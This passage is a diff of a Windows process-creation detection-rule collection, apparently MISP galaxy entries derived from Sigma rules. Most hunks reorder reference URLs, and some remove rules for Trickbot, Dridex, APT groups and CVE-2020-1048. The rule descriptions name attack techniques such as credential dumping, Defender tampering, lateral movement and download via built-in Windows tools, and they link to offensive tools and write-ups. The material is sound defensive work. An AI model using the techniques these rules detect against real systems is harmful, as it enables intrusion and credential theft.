"https://www.cobaltstrike.com/help-opsec", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", + "https://twitter.com/CyberRaiju/status/1251492025678983169", + "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_bad_opsec_sacrificial_processes.yml" ], "tags": [ @@ -48331,10 +47432,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", "https://twitter.com/egre55/status/1087685529016193025", + "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil", "https://lolbas-project.github.io/lolbas/Binaries/Certutil/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml" ], @@ -48388,31 +47489,6 @@ "uuid": "f7d7ebd5-a016-46e2-9c54-f9932f2d386d", "value": "Potential RDP Tunneling Via SSH" }, - { - "description": "Detects potential Muddywater APT activity", - "meta": { - "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/03/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_muddywater_activity.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.mandiant.com/resources/blog/iranian-threat-group-updates-ttps-in-spear-phishing-campaign", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_muddywater_activity.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.execution", - "attack.g0069" - ] - }, - "uuid": "36222790-0d43-4fe8-86e4-674b27809543", - "value": "Potential MuddyWater APT Activity" - }, { "description": "Detects the use of a Microsoft signed script 'REGISTER_APP.VBS' to register a VSS/VDS Provider as a COM+ application.", "meta": { @@ -48546,40 +47622,6 @@ "uuid": "7b4f794b-590a-4ad4-ba18-7964a2832205", "value": "Renamed Vmnat.exe Execution" }, - { - "description": "Detects Trickbot malware process tree pattern in which \"rundll32.exe\" is a parent of \"wermgr.exe\"", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2020/11/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_malware_trickbot_wermgr.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://twitter.com/swisscom_csirt/status/1331634525722521602?s=20", - "https://app.any.run/tasks/f74c5157-8508-4ac6-9805-d63fe7b0d399/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_trickbot_wermgr.yml" - ], - "tags": [ - "attack.execution", - "attack.t1559" - ] - }, - "related": [ - { - "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "58bf96d9-ff5f-44bd-8dcc-1c4f79bf3a27", - "value": "Trickbot Malware Activity" - }, { "description": "Detects the execution of the LocalPotato POC based on basic PE metadata information and default CLI examples", "meta": { @@ -48593,8 +47635,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.localpotato.com/localpotato_html/LocalPotato.html", "https://github.com/decoder-it/LocalPotato", + "https://www.localpotato.com/localpotato_html/LocalPotato.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_localpotato.yml" ], "tags": [ @@ -48619,8 +47661,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/sensepost/impersonate", "https://sensepost.com/blog/2022/abusing-windows-tokens-to-compromise-active-directory-without-touching-lsass/", + "https://github.com/sensepost/impersonate", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impersonate.yml" ], "tags": [ @@ -48722,8 +47764,8 @@ "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/12/13/diavol-ransomware/", - "https://www.scythe.io/library/threat-emulation-qakbot", "https://sec-consult.com/blog/detail/bumblebee-hunting-with-a-velociraptor/", + "https://www.scythe.io/library/threat-emulation-qakbot", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_not_from_c_drive.yml" ], "tags": [ @@ -48850,8 +47892,8 @@ "logsource.product": "windows", "refs": [ "https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/", - "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", "https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell", + "https://docs.microsoft.com/en-us/powershell/module/bitstransfer/add-bitsfile?view=windowsserver2019-ps", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_web_request_cmd_and_cmdlets.yml" ], "tags": [ @@ -48941,9 +47983,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://docs.microsoft.com/en-us/microsoft-365/security/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md", - "https://twitter.com/AdamTheAnalyst/status/1483497517119590403", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_exclusion.yml" ], "tags": [ @@ -48986,116 +48028,6 @@ "uuid": "d65aee4d-2292-4cea-b832-83accd6cfa43", "value": "Arbitrary Binary Execution Using GUP Utility" }, - { - "description": "Detects potential EmpireMonkey APT activity", - "meta": { - "author": "Markus Neis, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/04/02", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_apt_empiremonkey.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://malpedia.caad.fkie.fraunhofer.de/actor/anthropoid_spider", - "https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_empiremonkey.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.010" - ] - }, - "related": [ - { - "dest-uuid": "b97f1d35-4249-4486-a6b5-ee60ccf24fab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "10152a7b-b566-438f-a33c-390b607d1c8d", - "value": "Potential EmpireMonkey Activity" - }, - { - "description": "Detects uses of the rdrleakdiag.exe LOLOBIN utility to dump process memory", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/04", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_lolbin_rdrleakdiag.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.crowdstrike.com/blog/overwatch-exposes-aquatic-panda-in-possession-of-log-4-shell-exploit-tools/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_rdrleakdiag.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1036", - "attack.t1003.001" - ] - }, - "related": [ - { - "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "65f2d882-3f41-4d48-8a06-29af77ec9f90", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "6355a919-2e97-4285-a673-74645566340d", - "value": "Process Memory Dumped Via RdrLeakDiag.EXE" - }, - { - "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2017/10/22", - "falsepositive": [ - "Renamed SysInternals tool" - ], - "filename": "proc_creation_win_apt_ta17_293a_ps.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.us-cert.gov/ncas/alerts/TA17-293A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.g0035", - "attack.t1036.003", - "car.2013-05-009" - ] - }, - "related": [ - { - "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", - "value": "Ps.exe Renamed SysInternals Tool" - }, { "description": "Detects a code page switch in command line or batch scripts to a rare language", "meta": { @@ -49109,8 +48041,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/cglyer/status/1183756892952248325", "https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identifiers", + "https://twitter.com/cglyer/status/1183756892952248325", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch.yml" ], "tags": [ @@ -49176,9 +48108,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", - "https://twitter.com/_st0pp3r_/status/1583914515996897281", "https://lolbas-project.github.io/lolbas/Binaries/Msiexec/", + "https://twitter.com/_st0pp3r_/status/1583914515996897281", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_dll.yml" ], "tags": [ @@ -49344,58 +48276,6 @@ "uuid": "4f7a6757-ff79-46db-9687-66501a02d9ec", "value": "Active Directory Structure Export Via Ldifde.EXE" }, - { - "description": "Detects potential Dridex acitvity via specific process patterns", - "meta": { - "author": "Florian Roth (Nextron Systems), oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2019/01/10", - "falsepositive": [ - "Unlikely" - ], - "filename": "proc_creation_win_malware_dridex.yml", - "level": "critical", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://app.any.run/tasks/993daa5e-112a-4ff6-8b5a-edbcec7c7ba3", - "https://redcanary.com/threat-detection-report/threats/dridex/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_dridex.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", - "attack.t1055", - "attack.discovery", - "attack.t1135", - "attack.t1033" - ] - }, - "related": [ - { - "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "3489cfc5-640f-4bb3-a103-9137b97de79f", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - }, - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "e6eb5a96-9e6f-4a18-9cdd-642cfda21c8e", - "value": "Potential Dridex Activity" - }, { "description": "Detects execution of \"reg.exe\" commands with the \"delete\" flag on services registry key. Often used by attacker to remove AV software services", "meta": { @@ -49477,8 +48357,8 @@ "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges", - "https://github.com/samratashok/ADModule", "https://twitter.com/cyb3rops/status/1617108657166061568?s=20", + "https://github.com/samratashok/ADModule", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_active_directory_module_dll_import.yml" ], "tags": [ @@ -49537,9 +48417,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/0gtweet/status/1583356502340870144", "https://strontic.github.io/xcyclopedia/library/setres.exe-0E30E4C09637D7A128A37B59A3BC4D09.html", "https://lolbas-project.github.io/lolbas/Binaries/Setres/", + "https://twitter.com/0gtweet/status/1583356502340870144", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731033(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_setres.yml" ], @@ -49581,10 +48461,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", "https://speakerdeck.com/heirhabarov/hunting-for-privilege-escalation-in-windows-environment?slide=43", "https://github.com/carlospolop/PEASS-ng/blob/fa0f2e17fbc1d86f1fd66338a40e665e7182501d/winPEAS/winPEASbat/winPEAS.bat", "https://github.com/gladiatx0r/Powerless/blob/04f553bbc0c65baf4e57344deff84e3f016e6b51/Powerless.bat", + "https://www.youtube.com/watch?v=JGs-aKf2OtU&ab_channel=OFFZONEMOSCOW", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_accesschk_check_permissions.yml" ], "tags": [ @@ -49972,8 +48852,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1475085452784844803?s=12", "https://twitter.com/an0n_r0/status/1474698356635193346?s=12", + "https://twitter.com/mrd0x/status/1475085452784844803?s=12", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_download_office_domain.yml" ], "tags": "No established tags" @@ -49995,9 +48875,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.poweradmin.com/paexec/", - "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", + "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", + "https://www.poweradmin.com/paexec/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sysinternals_psexec_paexec_escalate_system.yml" ], "tags": [ @@ -50017,39 +48897,6 @@ "uuid": "8834e2f7-6b4b-4f09-8906-d2276470ee23", "value": "PsExec/PAExec Escalation to LOCAL SYSTEM" }, - { - "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/01/22", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_unc2452_cmds.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", - "value": "UNC2452 Process Creation Patterns" - }, { "description": "Detects the usage of \"reg.exe\" to tamper with different Windows defender registry keys in order to disable some important features related to protection and detection", "meta": { @@ -50063,8 +48910,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/swagkarna/Defeat-Defender-V1.2.0", "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell/", + "https://github.com/swagkarna/Defeat-Defender-V1.2.0", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_defender_tampering.yml" ], "tags": [ @@ -50132,8 +48979,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.echotrail.io/insights/search/defaultpack.exe", "https://lolbas-project.github.io/lolbas/OtherMSBinaries/DefaultPack/", + "https://www.echotrail.io/insights/search/defaultpack.exe", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_defaultpack.yml" ], "tags": [ @@ -50167,10 +49014,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/shuckworm-gamaredon-espionage-ukraine", - "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", + "https://web.archive.org/web/20220224045756/https://www.ria.ee/sites/default/files/content-editors/kuberturve/tale_of_gamaredon_infection.pdf", "https://uvnc.com/docs/uvnc-viewer/52-ultravnc-viewer-commandline-parameters.html", + "https://unit42.paloaltonetworks.com/unit-42-title-gamaredon-group-toolset-evolution", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_ultravnc_susp_execution.yml" ], "tags": [ @@ -50305,8 +49152,8 @@ "logsource.product": "windows", "refs": [ "https://learn.microsoft.com/en-us/windows/win32/secauthz/mandatory-integrity-control", - "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", "https://thedfirreport.com/2022/04/04/stolen-images-campaign-ends-in-conti-ransomware/", + "https://cybercryptosec.medium.com/covid-19-cyber-infection-c615ead7c29", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_legacy_option.yml" ], "tags": [ @@ -50397,7 +49244,7 @@ { "description": "Detects suspicious and uncommon child processes of WmiPrvSE", "meta": { - "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng", + "author": "Vadim Khrykov (ThreatIntel), Cyb3rEng, Florian Roth (Nextron Systems)", "creation_date": "2021/08/23", "falsepositive": [ "Unknown" @@ -50409,6 +49256,7 @@ "refs": [ "https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/", "https://blog.osarmor.com/319/onenote-attachment-delivers-asyncrat-malware/", + "https://twitter.com/ForensicITGuy/status/1334734244120309760", "https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmiprvse_susp_child_processes.yml" ], @@ -50446,40 +49294,6 @@ "uuid": "8a582fe2-0882-4b89-a82a-da6b2dc32937", "value": "Suspicious WmiPrvSE Child Process" }, - { - "description": "Detects suspicious command line patterns seen being used by MERCURY APT", - "meta": { - "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/26", - "falsepositive": [ - "Unknown" - ], - "filename": "proc_creation_win_apt_mercury.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://www.microsoft.com/security/blog/2022/08/25/mercury-leveraging-log4j-2-vulnerabilities-in-unpatched-systems-to-target-israeli-organizations/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_mercury.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.g0069" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "a62298a3-1fe0-422f-9a68-ffbcbc5a123d", - "value": "MERCURY APT Activity" - }, { "description": "Detects processes that query known 3rd party registry keys that holds credentials via commandline", "meta": { @@ -50493,10 +49307,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", "https://github.com/HyperSine/how-does-MobaXterm-encrypt-password", "https://isc.sans.edu/diary/More+Data+Exfiltration/25698", "https://github.com/synacktiv/Radmin3-Password-Cracker/blob/acfc87393e4b7c06353973a14a6c7126a51f36ac/regkey.txt", + "https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#inside-the-registry", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_enumeration_for_credentials_cli.yml" ], "tags": [ @@ -50586,8 +49400,8 @@ "logsource.product": "windows", "refs": [ "https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/", - "https://twitter.com/jonasLyk/status/1555914501802921984", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)?redirectedfrom=MSDN", + "https://twitter.com/jonasLyk/status/1555914501802921984", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml" ], "tags": [ @@ -50677,9 +49491,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://eqllib.readthedocs.io/en/latest/analytics/210b4ea4-12fc-11e9-8d76-4d6bb837cda4.html", "https://eqllib.readthedocs.io/en/latest/analytics/1e1ef6be-12fc-11e9-8d76-4d6bb837cda4.html", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_lsass_dump.yml" ], "tags": [ @@ -50932,11 +49746,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-1---registry-dump-of-sam-creds-and-secrets", - "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", "https://www.wietzebeukema.nl/blog/windows-command-line-obfuscation", + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003/T1003.md", + "https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment", + "https://eqllib.readthedocs.io/en/latest/analytics/aed95fc6-5e3f-49dc-8b35-06508613f979.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_dumping_sensitive_hives.yml" ], "tags": [ @@ -51021,8 +49835,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "Internal Research", "https://tools.thehacker.recipes/mimikatz/modules", + "Internal Research", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_system_user_anomaly.yml" ], "tags": "No established tags" @@ -51030,40 +49844,6 @@ "uuid": "2617e7ed-adb7-40ba-b0f3-8f9945fe6c09", "value": "Suspicious SYSTEM User Process Creation" }, - { - "description": "Detects new commands that add new printer port which point to suspicious file", - "meta": { - "author": "EagleEye Team, Florian Roth", - "creation_date": "2020/05/13", - "falsepositive": [ - "New printer port install on host" - ], - "filename": "proc_creation_win_exploit_cve_2020_1048.yml", - "level": "high", - "logsource.category": "process_creation", - "logsource.product": "windows", - "refs": [ - "https://windows-internals.com/printdemon-cve-2020-1048/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_exploit_cve_2020_1048.yml" - ], - "tags": [ - "attack.persistence", - "attack.execution", - "attack.t1059.001" - ] - }, - "related": [ - { - "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "related-to" - } - ], - "uuid": "cc08d590-8b90-413a-aff6-31d1a99678d7", - "value": "Suspicious PrinterPorts Creation (CVE-2020-1048)" - }, { "description": "Detects execution from an Alternate Data Stream (ADS). Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection", "meta": { @@ -51110,8 +49890,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://bohops.com/2018/03/26/diskshadow-the-return-of-vss-evasion-persistence-and-active-directory-database-extraction/", + "https://www.ired.team/offensive-security/credential-access-and-credential-dumping/ntds.dit-enumeration", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diskshadow.yml" ], "tags": [ @@ -51144,8 +49924,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/wdormann/status/1478011052130459653?s=20", "https://twitter.com/0gtweet/status/1477925112561209344", + "https://twitter.com/wdormann/status/1478011052130459653?s=20", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_format.yml" ], "tags": [ @@ -51168,8 +49948,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", "https://lolbas-project.github.io/lolbas/Binaries/MpCmdRun/", + "https://web.archive.org/web/20200903194959/https://twitter.com/djmtshepana/status/1301608169496612866", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_susp_mpcmdrun_download.yml" ], "tags": [ @@ -51211,11 +49991,11 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", - "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", "https://www.elastic.co/guide/en/security/current/suspicious-cmd-execution-via-wmi.html", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_impacket_lateral_movement.yml" ], "tags": [ @@ -51257,9 +50037,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regini", - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml" ], "tags": [ @@ -51325,10 +50105,10 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://isc.sans.edu/diary/22264", "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", + "https://isc.sans.edu/diary/22264", "https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/", + "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" ], "tags": [ @@ -51404,9 +50184,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915", "https://github.com/electron/rcedit", "https://security.stackexchange.com/questions/210843/is-it-possible-to-change-original-filename-of-an-exe", - "https://www.virustotal.com/gui/file/02e8e8c5d430d8b768980f517b62d7792d690982b9ba0f7e04163cbc1a6e7915", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_rcedit_execution.yml" ], "tags": [ @@ -51464,9 +50244,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", - "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", "https://docs.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps", + "https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE", + "https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_defender_disable_feature.yml" ], "tags": [ @@ -51534,8 +50314,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - 